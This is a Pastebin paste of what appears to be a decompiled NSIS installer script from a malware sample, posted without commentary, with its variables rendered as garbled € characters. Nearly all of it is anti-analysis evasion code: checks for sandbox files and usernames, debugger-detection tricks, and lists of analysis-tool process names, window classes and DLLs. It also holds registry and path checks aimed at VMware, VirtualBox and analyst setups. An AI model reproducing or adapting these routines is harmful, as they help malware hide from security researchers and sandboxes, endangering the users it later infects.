Advertisement
siri_urz

Untitled

Apr 4th, 2018
738
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Push €€
  2. Exch
  3. Pop $0
  4. Push €
  5. Push ‚€
  6. Push ƒ€
  7. Push „€
  8. Push …€
  9. Push †€
  10. Push ‡€
  11. StrCpy $1 "€€,"
  12. StrCpy $2 "65536"
  13. Push 0
  14. Call 1400
  15. File š€\System.dll
  16. SetFlag 13 0
  17. Push ‚€
  18. RegisterDLL š€\System.dll Alloc 0
  19. Pop $3
  20. Call 1400
  21. File š€\System.dll
  22. SetFlag 13 0
  23. Push ntdll::ZwQuerySystemInformation(i 5, i ƒ€, i ‚€, i 0) i .r0
  24. RegisterDLL š€\System.dll Call 0
  25. StrCmp  "€€" "0" 36 0 0
  26. IntCmp 74 207 0 35 35 0
  27. Call 1400
  28. File š€\System.dll
  29. SetFlag 13 0
  30. Push ƒ€
  31. RegisterDLL š€\System.dll Free 0
  32. IntOp 2 82 111 0
  33. Goto 14
  34. Goto 36
  35. Goto 223
  36. StrCpy $7 "ƒ€"
  37. Call 1400
  38. File š€\System.dll
  39. SetFlag 13 0
  40. Push *ƒ€(&i4, &i4, &i24, &i8, &i8, &i8, &i4, &i4, &i4, &i4, &i4) i i (.r4,,,,,,,.r2,,.r6,)
  41. RegisterDLL š€\System.dll Call 0
  42. Call 1400
  43. File š€\System.dll
  44. SetFlag 13 0
  45. Push kernel32::WideCharToMultiByte(i 0, i 0, i r2, i -1, t .r5, i 1024, i 0, i 0) i .r0
  46. RegisterDLL š€\System.dll Call 0
  47. Push €
  48. Push ,
  49. Push /…€
  50. Call 52
  51. Goto 215
  52. Push €
  53. Exch
  54. Pop $1
  55. Exch
  56. Push €€
  57. Exch
  58. Pop $0
  59. Exch
  60. Exch
  61. Push Š€
  62. Exch
  63. Pop $R0
  64. Exch
  65. Push ‚€
  66. Push ƒ€
  67. Push „€
  68. Push …€
  69. Push †€
  70. Push ‡€
  71. Push ˆ€
  72. Push ‰€
  73. Push ‹€
  74. Push Œ€
  75. SetFlag 2 117
  76. StrCpy $9 ""
  77. StrCpy $2 "€" 1
  78. StrCpy $1 "€" "" 1
  79. StrCmp  "‚€" "E" 0 82 0
  80. StrCpy $9 "E"
  81. Goto 77
  82. StrCpy $3 ""
  83. StrCmp  "‚€" "+" 89 0 0
  84. StrCmp  "‚€" "-" 89 0 0
  85. StrCmp  "‚€" "/" 102 0 0
  86. StrCmp  "‚€" "#" 102 0 0
  87. StrCmp  "‚€" "*" 102 0 0
  88. Goto 191
  89. StrCpy $4 "€" 1 -1
  90. StrCmp  "„€" "*" 94 0 0
  91. StrCmp  "„€" "}" 94 0 0
  92. StrCmp  "„€" "{" 94 0 0
  93. Goto 97
  94. StrCpy $1 "€" -1
  95. StrCpy $3 "„€ƒ€"
  96. Goto 89
  97. StrCmp  "ƒ€" "*" 191 0 0
  98. StrCmp  "ƒ€" "**" 191 0 0
  99. StrCmp  "ƒ€" "}{" 191 0 0
  100. IntOp 1 78 117 0
  101. StrCmp  "€" "0" 193 0 0
  102. StrCmp  "Š€" "" 195 0 0
  103. StrCpy $4 "0"
  104. StrCpy $5 "0"
  105. StrCpy $6 "0"
  106. Assign 7 74
  107. Goto 109
  108. IntOp 6 98 418 0
  109. StrCpy $8 "Š€" ‡€ †€
  110. StrCmp  "ˆ€…€" "0" 195 0 0
  111. Assign 12 402
  112. IntCmp 414 117 114 0 0 0
  113. StrCmp  "ˆ€" "€€" 118 108 0
  114. StrCmp  "ƒ€" "{" 133 0 0
  115. StrCmp  "ƒ€" "}" 133 0 0
  116. StrCmp  "‚€" "*" 133 0 0
  117. StrCmp  "…€" "†€" 133 122 0
  118. StrCmp  "ƒ€" "{" 122 0 0
  119. StrCmp  "ƒ€" "}" 122 0 0
  120. StrCmp  "‚€" "*" 122 0 0
  121. StrCmp  "…€" "†€" 130 0 0
  122. IntOp 4 90 418 0
  123. StrCmp  "‚€„€" "+€" 144 0 0
  124. StrCmp  "‚€" "/" 0 130 0
  125. IntOp 8 98 94 1
  126. StrCpy $8 "Š€" ˆ€ …€
  127. StrCmp  "€" "ˆ€" 0 130 0
  128. StrCpy $R1 "„€"
  129. Goto 198
  130. IntOp 6 98 102 0
  131. StrCpy $5 "†€"
  132. Goto 109
  133. StrCmp  "‚€" "-" 0 138 0
  134. StrCpy $2 "+"
  135. IntOp 1 90 78 1
  136. IntOp 1 78 418 0
  137. IntCmp 78 117 193 193 102 0
  138. StrCmp  "‚€" "#" 0 141 0
  139. StrCpy $R1 "„€"
  140. Goto 198
  141. StrCmp  "‚€" "*" 0 193 0
  142. StrCpy $R1 "„€"
  143. Goto 198
  144. StrCmp  "ƒ€" "" 0 148 0
  145. IntOp 6 98 94 1
  146. StrCpy $R1 "Š€" †€ …€
  147. Goto 198
  148. StrCmp  "ƒ€" "{" 0 151 0
  149. StrCpy $R1 "Š€" †€
  150. Goto 198
  151. StrCmp  "ƒ€" "}" 0 155 0
  152. IntOp 6 98 102 0
  153. StrCpy $R1 "Š€" "" †€
  154. Goto 198
  155. StrCmp  "ƒ€" "{*" 157 0 0
  156. StrCmp  "ƒ€" "*{" 0 159 0
  157. StrCpy $R1 "Š€" †€
  158. Goto 198
  159. StrCmp  "ƒ€" "*}" 161 0 0
  160. StrCmp  "ƒ€" "}*" 0 163 0
  161. StrCpy $R1 "Š€" "" …€
  162. Goto 198
  163. StrCmp  "ƒ€" "}}" 0 166 0
  164. StrCpy $R1 "Š€" "" †€
  165. Goto 198
  166. StrCmp  "ƒ€" "{{" 0 169 0
  167. StrCpy $R1 "Š€" …€
  168. Goto 198
  169. StrCmp  "ƒ€" "{}" 0 191 0
  170. Assign 3 398
  171. StrCmp  "ƒ€" "†€" 0 174 0
  172. StrCpy $0 ""
  173. Goto 175
  174. IntOp 6 98 102 0
  175. StrCpy $8 "Š€" "" †€
  176. StrCmp  "„€ˆ€" "1" 182 0 0
  177. StrCmp  "„€" "1" 179 184 0
  178. IntOp 6 98 102 0
  179. StrCpy $3 "Š€" ‡€ †€
  180. StrCmp  "ƒ€" "" 182 0 0
  181. StrCmp  "ƒ€" "€€" 178 184 0
  182. StrCpy $R1 ""
  183. Goto 198
  184. StrCmp  "…€" "0" 0 187 0
  185. StrCpy $0 ""
  186. Goto 188
  187. IntOp 5 94 102 1
  188. StrCpy $3 "Š€" …€
  189. StrCpy $R1 "ƒ€€€ˆ€"
  190. Goto 198
  191. StrCpy $R1 "3"
  192. Goto 196
  193. StrCpy $R1 "2"
  194. Goto 196
  195. StrCpy $R1 "1"
  196. StrCmp  "‰€" "E" 0 199 0
  197. SetFlag 2 418
  198. StrCpy $R0 "‹€"
  199. Pop $R2
  200. Pop $R1
  201. Pop $9
  202. Pop $8
  203. Pop $7
  204. Pop $6
  205. Pop $5
  206. Pop $4
  207. Pop $3
  208. Pop $2
  209. Pop $1
  210. Pop $0
  211. Push Š€
  212. Exch
  213. Pop $R0
  214. Return
  215. Pop $0
  216. IntCmp 74 117 220 0 0 0
  217. Pop $0
  218. Push †€
  219. Goto 223
  220. StrCmp  "„€" "0" 223 0 0
  221. IntOp 3 86 90 0
  222. Goto 37
  223. Call 1400
  224. File š€\System.dll
  225. SetFlag 13 0
  226. Push ‡€
  227. RegisterDLL š€\System.dll Free 0
  228. Pop $0
  229. Pop $7
  230. Pop $6
  231. Pop $5
  232. Pop $4
  233. Pop $3
  234. Pop $2
  235. Pop $1
  236. Push €€
  237. Exch
  238. Pop $0
  239. Return
  240. Push €€
  241. Exch
  242. Pop $0
  243. Push €
  244. Push ‚€
  245. Push ƒ€
  246. Push „€
  247. Push …€
  248. Push †€
  249. Push ‡€
  250. StrCpy $1 "€€"
  251. StrCpy $2 "65536"
  252. Push 0
  253. Call 1400
  254. File š€\System.dll
  255. SetFlag 13 0
  256. Push ‚€
  257. RegisterDLL š€\System.dll Alloc 0
  258. Pop $3
  259. Call 1400
  260. File š€\System.dll
  261. SetFlag 13 0
  262. Push ntdll::ZwQuerySystemInformation(i 5, i ƒ€, i ‚€, i 0) i .r0
  263. RegisterDLL š€\System.dll Call 0
  264. StrCmp  "€€" "0" 275 0 0
  265. IntCmp 74 207 0 274 274 0
  266. Call 1400
  267. File š€\System.dll
  268. SetFlag 13 0
  269. Push ƒ€
  270. RegisterDLL š€\System.dll Free 0
  271. IntOp 2 82 111 0
  272. Goto 253
  273. Goto 275
  274. Goto 305
  275. StrCpy $7 "ƒ€"
  276. Call 1400
  277. File š€\System.dll
  278. SetFlag 13 0
  279. Push *ƒ€(&i4, &i4, &i24, &i8, &i8, &i8, &i4, &i4, &i4, &i4, &i4) i i (.r4,,,,,,,,,.r2,.r6)
  280. RegisterDLL š€\System.dll Call 0
  281. IntCmp 78 82 0 302 302 0
  282. StrCpy $1 "†€"
  283. StrCpy $3 "‡€"
  284. Call 1400
  285. File š€\System.dll
  286. SetFlag 13 0
  287. Push *ƒ€(&i4, &i4, &i24, &i8, &i8, &i8, &i4, &i4, &i4, &i4, &i4) i i (.r4,,,,,,,.r2,,.r6,)
  288. RegisterDLL š€\System.dll Call 0
  289. IntCmp 78 98 0 298 298 0
  290. Call 1400
  291. File š€\System.dll
  292. SetFlag 13 0
  293. Push kernel32::WideCharToMultiByte(i 0, i 0, i r2, i -1, t .r5, i 1024, i 0, i 0) i .r0
  294. RegisterDLL š€\System.dll Call 0
  295. Pop $0
  296. Push …€
  297. Goto 305
  298. StrCmp  "„€" "0" 301 0 0
  299. IntOp 3 86 90 0
  300. Goto 284
  301. Goto 305
  302. StrCmp  "„€" "0" 305 0 0
  303. IntOp 3 86 90 0
  304. Goto 276
  305. Call 1400
  306. File š€\System.dll
  307. SetFlag 13 0
  308. Push ‡€
  309. RegisterDLL š€\System.dll Free 0
  310. Pop $0
  311. Pop $7
  312. Pop $6
  313. Pop $5
  314. Pop $4
  315. Pop $3
  316. Pop $2
  317. Pop $1
  318. Push €€
  319. Exch
  320. Pop $0
  321. Return
  322. Push Š€
  323. Exch
  324. Pop $R0
  325. Exch
  326. Push ‹€
  327. Exch
  328. Pop $R1
  329. Push Œ€
  330. Push €
  331. Call 1400
  332. File š€\System.dll
  333. SetFlag 13 0
  334. Push ntdll::strstr(t R1, t R0)i.R0 ?c
  335. RegisterDLL š€\System.dll Call 0
  336. Pop $R3
  337. Pop $R2
  338. Pop $R1
  339. Push Š€
  340. Exch
  341. Pop $R0
  342. Return
  343. Push ‹€
  344. Call 1400
  345. File š€\System.dll
  346. SetFlag 13 0
  347. Push kernel32::GetFileAttributes(t 'c:\cwsandbox\cwsandbox.ini')i .R0
  348. RegisterDLL š€\System.dll Call 0
  349. IntCmp 398 702 351 0 0 0
  350. Goto 366
  351. Call 1400
  352. File š€\System.dll
  353. SetFlag 13 0
  354. Push kernel32::GetFileAttributes(t 'c:\test\vmversion.txt')i .R0
  355. RegisterDLL š€\System.dll Call 0
  356. IntCmp 398 702 358 0 0 0
  357. Goto 366
  358. Call 1400
  359. File š€\System.dll
  360. SetFlag 13 0
  361. Push kernel32::GetFileAttributes(t 'c:\bin\AHookMonitor.dll')i .R0
  362. RegisterDLL š€\System.dll Call 0
  363. IntCmp 398 702 365 0 0 0
  364. Goto 366
  365. Goto 368
  366. StrCpy $R0 "TRUE"
  367. Goto 369
  368. StrCpy $R0 "FALSE"
  369. Pop $R1
  370. Return
  371. Push ‹€
  372. Push Œ€
  373. Push €
  374. Call 1400
  375. File š€\System.dll
  376. SetFlag 13 0
  377. Push advapi32::GetUserName(t .R0, *i 1024 R1) i.R2
  378. RegisterDLL š€\System.dll Call 0
  379. Call 1400
  380. File š€\System.dll
  381. SetFlag 13 0
  382. Push User32::CharLower(t R0 R0) i
  383. RegisterDLL š€\System.dll Call 0
  384. StrCmp  "Š€" "sandbox" 0 386 0
  385. Goto 399
  386. StrCmp  "Š€" "vmware" 0 388 0
  387. Goto 399
  388. StrCmp  "Š€" "honey" 0 390 0
  389. Goto 399
  390. StrCmp  "Š€" "nepenthes" 0 392 0
  391. Goto 399
  392. StrCmp  "Š€" "maltest" 0 394 0
  393. Goto 399
  394. StrCmp  "Š€" "malware" 0 396 0
  395. Goto 399
  396. StrCmp  "Š€" "currentuser" 0 398 0
  397. Goto 399
  398. Goto 401
  399. StrCpy $R0 "TRUE"
  400. Goto 402
  401. StrCpy $R0 "FALSE"
  402. Pop $R3
  403. Pop $R2
  404. Pop $R1
  405. Return
  406. Push ‹€
  407. Call 1400
  408. File š€\System.dll
  409. SetFlag 13 0
  410. Push kernel32::IsDebuggerPresent()i.R0
  411. RegisterDLL š€\System.dll Call 0
  412. IntCmp 398 117 414 0 0 0
  413. Goto 436
  414. Call 1400
  415. File š€\System.dll
  416. SetFlag 13 0
  417. Push kernel32::CloseHandle(i 0)i.R0
  418. RegisterDLL š€\System.dll Call 0
  419. IntCmp 398 117 421 0 0 0
  420. Goto 436
  421. Call 1400
  422. File š€\System.dll
  423. SetFlag 13 0
  424. Push kernel32::CloseHandle(i 0xDEADC0DE)i.R0
  425. RegisterDLL š€\System.dll Call 0
  426. IntCmp 398 117 428 0 0 0
  427. Goto 436
  428. Call 1400
  429. File š€\System.dll
  430. SetFlag 13 0
  431. Push kernel32::CloseHandle(i 0xFEFEDEAF)i.R0
  432. RegisterDLL š€\System.dll Call 0
  433. IntCmp 398 117 435 0 0 0
  434. Goto 436
  435. Goto 438
  436. StrCpy $R0 "TRUE"
  437. Goto 439
  438. StrCpy $R0 "FALSE"
  439. Pop $R1
  440. Return
  441. Push ‹€
  442. Call 1400
  443. File š€\System.dll
  444. SetFlag 13 0
  445. Push kernel32::GetCurrentProcessId()i.R0
  446. RegisterDLL š€\System.dll Call 0
  447. IntCmp 398 117 486 0 0 0
  448. Push Š€
  449. Call 240
  450. Pop $R1
  451. Call 1400
  452. File š€\System.dll
  453. SetFlag 13 0
  454. Push User32::CharLower(t R1 R1)i
  455. RegisterDLL š€\System.dll Call 0
  456. Push ‹€
  457. Push perl
  458. Call 322
  459. Pop $R0
  460. IntCmp 398 117 462 0 0 0
  461. Goto 535
  462. Push ‹€
  463. Push python
  464. Call 322
  465. Pop $R0
  466. IntCmp 398 117 468 0 0 0
  467. Goto 535
  468. Push ‹€
  469. Push autoit
  470. Call 322
  471. Pop $R0
  472. IntCmp 398 117 474 0 0 0
  473. Goto 535
  474. Push ‹€
  475. Push ollydbg
  476. Call 322
  477. Pop $R0
  478. IntCmp 398 117 480 0 0 0
  479. Goto 535
  480. Push ‹€
  481. Push immunitydebugger
  482. Call 322
  483. Pop $R0
  484. IntCmp 398 117 486 0 0 0
  485. Goto 535
  486. StrCpy $R1 ""
  487. StrCpy $R1 "‹€python.exe"
  488. StrCpy $R1 "‹€,perl.exe"
  489. StrCpy $R1 "‹€,xenservice.exe"
  490. StrCpy $R1 "‹€,vmtoolsd.exe"
  491. StrCpy $R1 "‹€,ollydbg.exe"
  492. StrCpy $R1 "‹€,immunitydebugger.exe"
  493. StrCpy $R1 "‹€,windbg.exe"
  494. StrCpy $R1 "‹€,syserapp.exe"
  495. StrCpy $R1 "‹€,x96_dbg.exe"
  496. StrCpy $R1 "‹€,x32_dbg.exe"
  497. StrCpy $R1 "‹€,x64_dbg.exe"
  498. StrCpy $R1 "‹€,prl_cc.exe"
  499. StrCpy $R1 "‹€,prl_tools.exe"
  500. StrCpy $R1 "‹€,vboxservice.exe"
  501. StrCpy $R1 "‹€,vmusrvc.exe"
  502. StrCpy $R1 "‹€,vmsrvc.exe"
  503. StrCpy $R1 "‹€,sharedintapp.exe"
  504. StrCpy $R1 "‹€,procexp.exe"
  505. StrCpy $R1 "‹€,vmware.exe"
  506. StrCpy $R1 "‹€,joeboxserver.exe"
  507. StrCpy $R1 "‹€,joeboxcontrol.exe"
  508. StrCpy $R1 "‹€,sniff_hit.exe"
  509. StrCpy $R1 "‹€,sysanalyzer.exe"
  510. StrCpy $R1 "‹€,regmon.exe"
  511. StrCpy $R1 "‹€,autoruns.exe"
  512. StrCpy $R1 "‹€,sandboxreboot.exe"
  513. StrCpy $R1 "‹€,sandboxreboot-5min.exe"
  514. StrCpy $R1 "‹€,systracersrv.exe"
  515. StrCpy $R1 "‹€,systracer.exe"
  516. StrCpy $R1 "‹€,tcpdump.exe"
  517. StrCpy $R1 "‹€,windump.exe"
  518. StrCpy $R1 "‹€,windbg.exe"
  519. StrCpy $R1 "‹€,apis32.exe"
  520. StrCpy $R1 "‹€,sbiesvc.exe"
  521. StrCpy $R1 "‹€,sandboxierpcss.exe"
  522. StrCpy $R1 "‹€,dumpcap.exe"
  523. StrCpy $R1 "‹€,zxsniffer.exe"
  524. StrCpy $R1 "‹€,wspass.exe"
  525. StrCpy $R1 "‹€,sandbox_svc.exe"
  526. StrCpy $R1 "‹€,a2service.exe"
  527. StrCpy $R1 "‹€,bullguard.exe"
  528. StrCpy $R1 "‹€,frwl_svc.exe"
  529. Push ‹€
  530. Call 1
  531. Pop $R0
  532. IntCmp 398 117 534 0 0 0
  533. Goto 535
  534. Goto 537
  535. StrCpy $R0 "TRUE"
  536. Goto 538
  537. StrCpy $R0 "FALSE"
  538. Pop $R1
  539. Return
  540. Push €
  541. Push ‚€
  542. Push ƒ€
  543. Push „€
  544. IntOp 4 117 117 0
  545. Call 1400
  546. File š€\System.dll
  547. SetFlag 13 0
  548. Push (p.r1, p) iss
  549. RegisterDLL š€\System.dll Get 0
  550. Pop $R0
  551. Call 1400
  552. File š€\System.dll
  553. SetFlag 13 0
  554. Push user32::EnumWindows(k R0, p) i.s
  555. RegisterDLL š€\System.dll Call 0
  556. Pop $0
  557. StrCmp  "€€" "callback1" 0 627 0
  558. Call 1400
  559. File š€\System.dll
  560. SetFlag 13 0
  561. Push user32::GetWindowText(p r1, t.r2, i1024)
  562. RegisterDLL š€\System.dll Call 0
  563. Call 1400
  564. File š€\System.dll
  565. SetFlag 13 0
  566. Push user32::GetClassName(p r1, t.r3, i1024)
  567. RegisterDLL š€\System.dll Call 0
  568. IntCmp 90 117 0 620 620 0
  569. StrCmp  "ƒ€" "PROCEXPL" 0 571 0
  570. IntOp 4 90 418 0
  571. StrCmp  "ƒ€" "PROCMON_WINDOW_CLASS" 0 573 0
  572. IntOp 4 90 418 0
  573. StrCmp  "ƒ€" "VBoxTrayToolWndClass" 0 575 0
  574. IntOp 4 90 418 0
  575. StrCmp  "ƒ€" "VMSwitchUserControlClass" 0 577 0
  576. IntOp 4 90 418 0
  577. StrCmp  "ƒ€" "ProcessLasso_Notification_Class" 0 579 0
  578. IntOp 4 90 418 0
  579. StrCmp  "ƒ€" "SmartSniff" 0 581 0
  580. IntOp 4 90 418 0
  581. StrCmp  "ƒ€" "ProcessHacker" 0 583 0
  582. IntOp 4 90 418 0
  583. StrCmp  "ƒ€" "CPInterceptor" 0 585 0
  584. IntOp 4 90 418 0
  585. StrCmp  "ƒ€" "{0843FD01-1D28-44a3-B11D-E3A93A85EA96}" 0 587 0
  586. IntOp 4 90 418 0
  587. StrCmp  "ƒ€" "SysAnalyzer" 0 589 0
  588. IntOp 4 90 418 0
  589. StrCmp  "ƒ€" "CPInterceptor" 0 591 0
  590. IntOp 4 90 418 0
  591. StrCmp  "ƒ€" "VMSwitchUserControlClass" 0 593 0
  592. IntOp 4 90 418 0
  593. StrCmp  "ƒ€" "ProcessHacker" 0 595 0
  594. IntOp 4 90 418 0
  595. StrCmp  "‚€" "0" 620 0 0
  596. Push ‚€
  597. Push - main thread
  598. Call 322
  599. Pop $0
  600. IntCmp 74 117 602 0 0 0
  601. IntOp 4 90 418 0
  602. Push ‚€
  603. Push API Monitor
  604. Call 322
  605. Pop $0
  606. IntCmp 74 117 608 0 0 0
  607. IntOp 4 90 418 0
  608. Push ‚€
  609. Push Blue Project Software SysTracer
  610. Call 322
  611. Pop $0
  612. IntCmp 74 117 614 0 0 0
  613. IntOp 4 90 418 0
  614. Push ‚€
  615. Push sysinternals
  616. Call 322
  617. Pop $0
  618. IntCmp 74 117 620 0 0 0
  619. IntOp 4 90 418 0
  620. Push 1
  621. Call 1400
  622. File š€\System.dll
  623. SetFlag 13 0
  624. Push Š€
  625. RegisterDLL š€\System.dll Call 0
  626. Goto 556
  627. Call 1400
  628. File š€\System.dll
  629. SetFlag 13 0
  630. Push Š€
  631. RegisterDLL š€\System.dll Free 0
  632. IntCmp 90 117 635 0 0 0
  633. StrCpy $R0 "TRUE"
  634. Goto 636
  635. StrCpy $R0 "FALSE"
  636. Pop $4
  637. Pop $3
  638. Pop $2
  639. Pop $1
  640. Return
  641. Push ‹€
  642. Call 1400
  643. File š€\System.dll
  644. SetFlag 13 0
  645. Push kernel32::GetModuleFileName(i 0, t .R1, i 1024)i.R0
  646. RegisterDLL š€\System.dll Call 0
  647. IntCmp 398 117 0 649 649 0
  648. Goto 728
  649. Call 1400
  650. File š€\System.dll
  651. SetFlag 13 0
  652. Push User32::CharLower(t R1 R1)i
  653. RegisterDLL š€\System.dll Call 0
  654. Call 1400
  655. File š€\System.dll
  656. SetFlag 13 0
  657. Push ntdll::strstr(t R1, t 'c:\t.exe')i.R0 ?c
  658. RegisterDLL š€\System.dll Call 0
  659. IntCmp 398 117 661 0 0 0
  660. Goto 725
  661. Call 1400
  662. File š€\System.dll
  663. SetFlag 13 0
  664. Push ntdll::strstr(t R1, t 'c:\myapp')i.R0 ?c
  665. RegisterDLL š€\System.dll Call 0
  666. IntCmp 398 117 668 0 0 0
  667. Goto 725
  668. Call 1400
  669. File š€\System.dll
  670. SetFlag 13 0
  671. Push ntdll::strstr(t R1, t 'c:\self')i.R0 ?c
  672. RegisterDLL š€\System.dll Call 0
  673. IntCmp 398 117 675 0 0 0
  674. Goto 725
  675. Call 1400
  676. File š€\System.dll
  677. SetFlag 13 0
  678. Push ntdll::strstr(t R1, t 'c:\file')i.R0 ?c
  679. RegisterDLL š€\System.dll Call 0
  680. IntCmp 398 117 682 0 0 0
  681. Goto 725
  682. Call 1400
  683. File š€\System.dll
  684. SetFlag 13 0
  685. Push ntdll::strstr(t R1, t 'c:\analyzer\')i.R0 ?c
  686. RegisterDLL š€\System.dll Call 0
  687. IntCmp 398 117 689 0 0 0
  688. Goto 725
  689. Call 1400
  690. File š€\System.dll
  691. SetFlag 13 0
  692. Push ntdll::strstr(t R1, t 'c:\test')i.R0 ?c
  693. RegisterDLL š€\System.dll Call 0
  694. IntCmp 398 117 696 0 0 0
  695. Goto 725
  696. Call 1400
  697. File š€\System.dll
  698. SetFlag 13 0
  699. Push ntdll::strstr(t R1, t 'c:\ohcbulyb.exe')i.R0 ?c
  700. RegisterDLL š€\System.dll Call 0
  701. IntCmp 398 117 703 0 0 0
  702. Goto 725
  703. Call 1400
  704. File š€\System.dll
  705. SetFlag 13 0
  706. Push ntdll::strstr(t R1, t 'sample')i.R0 ?c
  707. RegisterDLL š€\System.dll Call 0
  708. IntCmp 398 117 710 0 0 0
  709. Goto 725
  710. Call 1400
  711. File š€\System.dll
  712. SetFlag 13 0
  713. Push ntdll::strstr(t R1, t 'target.exe')i.R0 ?c
  714. RegisterDLL š€\System.dll Call 0
  715. IntCmp 398 117 717 0 0 0
  716. Goto 725
  717. Call 1400
  718. File š€\System.dll
  719. SetFlag 13 0
  720. Push ntdll::strstr(t R1, t 'insidetm')i.R0 ?c
  721. RegisterDLL š€\System.dll Call 0
  722. IntCmp 398 117 724 0 0 0
  723. Goto 725
  724. Goto 727
  725. StrCpy $R0 "TRUE"
  726. Goto 728
  727. StrCpy $R0 "FALSE"
  728. Pop $R1
  729. Return
  730. Push ‹€
  731. Call 1400
  732. File š€\System.dll
  733. SetFlag 13 0
  734. Push kernel32::GetCurrentProcess()p.s
  735. RegisterDLL š€\System.dll Call 0
  736. Call 1400
  737. File š€\System.dll
  738. SetFlag 13 0
  739. Push kernel32::IsWow64Process(ps,*i0s)
  740. RegisterDLL š€\System.dll Call 0
  741. Pop $[32]
  742. StrCmp  " €" "0" 744 0 0
  743. SetFlag 12 2914
  744. SetFlag 2 117
  745. ReadRegStr 11 2147483650 2918 2980 0
  746. IfFlag 0 748 2 0
  747. StrCpy $R1 "0"
  748. StrCmp  "‹€" "0" 750 0 0
  749. Goto 843
  750. SetFlag 2 117
  751. ReadRegStr 11 2147483650 2992 3025 0
  752. IfFlag 0 754 2 0
  753. StrCpy $R1 "0"
  754. StrCmp  "‹€" "0" 774 0 0
  755. Call 1400
  756. File š€\System.dll
  757. SetFlag 13 0
  758. Push User32::CharLower(t R1 R1)i
  759. RegisterDLL š€\System.dll Call 0
  760. Call 1400
  761. File š€\System.dll
  762. SetFlag 13 0
  763. Push ntdll::strstr(t R1, t 'vmware')i.R0 ?c
  764. RegisterDLL š€\System.dll Call 0
  765. IntCmp 398 117 767 0 0 0
  766. Goto 843
  767. Call 1400
  768. File š€\System.dll
  769. SetFlag 13 0
  770. Push ntdll::strstr(t R1, t 'vbox')i.R0 ?c
  771. RegisterDLL š€\System.dll Call 0
  772. IntCmp 398 117 774 0 0 0
  773. Goto 843
  774. SetFlag 2 117
  775. ReadRegStr 11 2147483650 3119 3198 0
  776. IfFlag 0 778 2 0
  777. StrCpy $R1 "0"
  778. StrCmp  "‹€" "0" 805 0 0
  779. Call 1400
  780. File š€\System.dll
  781. SetFlag 13 0
  782. Push User32::CharLower(t R1 R1)i
  783. RegisterDLL š€\System.dll Call 0
  784. Call 1400
  785. File š€\System.dll
  786. SetFlag 13 0
  787. Push ntdll::strstr(t R1, t 'vmware')i.R0 ?c
  788. RegisterDLL š€\System.dll Call 0
  789. IntCmp 398 117 791 0 0 0
  790. Goto 843
  791. Call 1400
  792. File š€\System.dll
  793. SetFlag 13 0
  794. Push ntdll::strstr(t R1, t 'vbox')i.R0 ?c
  795. RegisterDLL š€\System.dll Call 0
  796. IntCmp 398 117 798 0 0 0
  797. Goto 843
  798. Call 1400
  799. File š€\System.dll
  800. SetFlag 13 0
  801. Push ntdll::strstr(t R1, t 'virtual')i.R0 ?c
  802. RegisterDLL š€\System.dll Call 0
  803. IntCmp 398 117 805 0 0 0
  804. Goto 843
  805. SetFlag 2 117
  806. ReadRegStr 11 2147483650 3257 117 0
  807. IfFlag 0 809 2 0
  808. StrCpy $R1 "0"
  809. StrCmp  "‹€" "0" 836 0 0
  810. Call 1400
  811. File š€\System.dll
  812. SetFlag 13 0
  813. Push User32::CharLower(t R1 R1)i
  814. RegisterDLL š€\System.dll Call 0
  815. Call 1400
  816. File š€\System.dll
  817. SetFlag 13 0
  818. Push ntdll::strstr(t R1, t 'vmware')i.R0 ?c
  819. RegisterDLL š€\System.dll Call 0
  820. IntCmp 398 117 822 0 0 0
  821. Goto 843
  822. Call 1400
  823. File š€\System.dll
  824. SetFlag 13 0
  825. Push ntdll::strstr(t R1, t 'vbox')i.R0 ?c
  826. RegisterDLL š€\System.dll Call 0
  827. IntCmp 398 117 829 0 0 0
  828. Goto 843
  829. Call 1400
  830. File š€\System.dll
  831. SetFlag 13 0
  832. Push ntdll::strstr(t R1, t 'virtual')i.R0 ?c
  833. RegisterDLL š€\System.dll Call 0
  834. IntCmp 398 117 836 0 0 0
  835. Goto 843
  836. SetFlag 2 117
  837. ReadRegStr 11 2147483650 3297 3332 0
  838. IfFlag 0 840 2 0
  839. StrCpy $R1 "0"
  840. StrCmp  "‹€" "0" 842 0 0
  841. Goto 843
  842. Goto 845
  843. StrCpy $R0 "TRUE"
  844. Goto 846
  845. StrCpy $R0 "FALSE"
  846. SetFlag 12 117
  847. Pop $R1
  848. Return
  849. Push ‹€
  850. Call 1400
  851. File š€\System.dll
  852. SetFlag 13 0
  853. Push kernel32::GetModuleHandle(t 'dbghelp.dll') i.R0
  854. RegisterDLL š€\System.dll Call 0
  855. IntCmp 398 117 857 0 0 0
  856. Goto 921
  857. Call 1400
  858. File š€\System.dll
  859. SetFlag 13 0
  860. Push kernel32::GetModuleHandle(t 'pstorec.dll') i.R0
  861. RegisterDLL š€\System.dll Call 0
  862. IntCmp 398 117 864 0 0 0
  863. Goto 921
  864. Call 1400
  865. File š€\System.dll
  866. SetFlag 13 0
  867. Push kernel32::GetModuleHandle(t 'vmcheck.dll') i.R0
  868. RegisterDLL š€\System.dll Call 0
  869. IntCmp 398 117 871 0 0 0
  870. Goto 921
  871. Call 1400
  872. File š€\System.dll
  873. SetFlag 13 0
  874. Push kernel32::GetModuleHandle(t 'api_log.dll') i.R0
  875. RegisterDLL š€\System.dll Call 0
  876. IntCmp 398 117 878 0 0 0
  877. Goto 921
  878. Call 1400
  879. File š€\System.dll
  880. SetFlag 13 0
  881. Push kernel32::GetModuleHandle(t 'wpespy.dll') i.R0
  882. RegisterDLL š€\System.dll Call 0
  883. IntCmp 398 117 885 0 0 0
  884. Goto 921
  885. Call 1400
  886. File š€\System.dll
  887. SetFlag 13 0
  888. Push kernel32::GetModuleHandle(t 'SbieDll.dll') i.R0
  889. RegisterDLL š€\System.dll Call 0
  890. IntCmp 398 117 892 0 0 0
  891. Goto 921
  892. Call 1400
  893. File š€\System.dll
  894. SetFlag 13 0
  895. Push kernel32::GetModuleHandle(t 'dir_watch.dll') i.R0
  896. RegisterDLL š€\System.dll Call 0
  897. IntCmp 398 117 899 0 0 0
  898. Goto 921
  899. Call 1400
  900. File š€\System.dll
  901. SetFlag 13 0
  902. Push kernel32::GetModuleHandle(t 'cmdvrt32.dll') i.R0
  903. RegisterDLL š€\System.dll Call 0
  904. IntCmp 398 117 906 0 0 0
  905. Goto 921
  906. Call 1400
  907. File š€\System.dll
  908. SetFlag 13 0
  909. Push kernel32::LoadLibrary(t 'VBoxHook.dll') i.R0
  910. RegisterDLL š€\System.dll Call 0
  911. IntCmp 398 117 913 0 0 0
  912. Goto 921
  913. Call 1400
  914. File š€\System.dll
  915. SetFlag 13 0
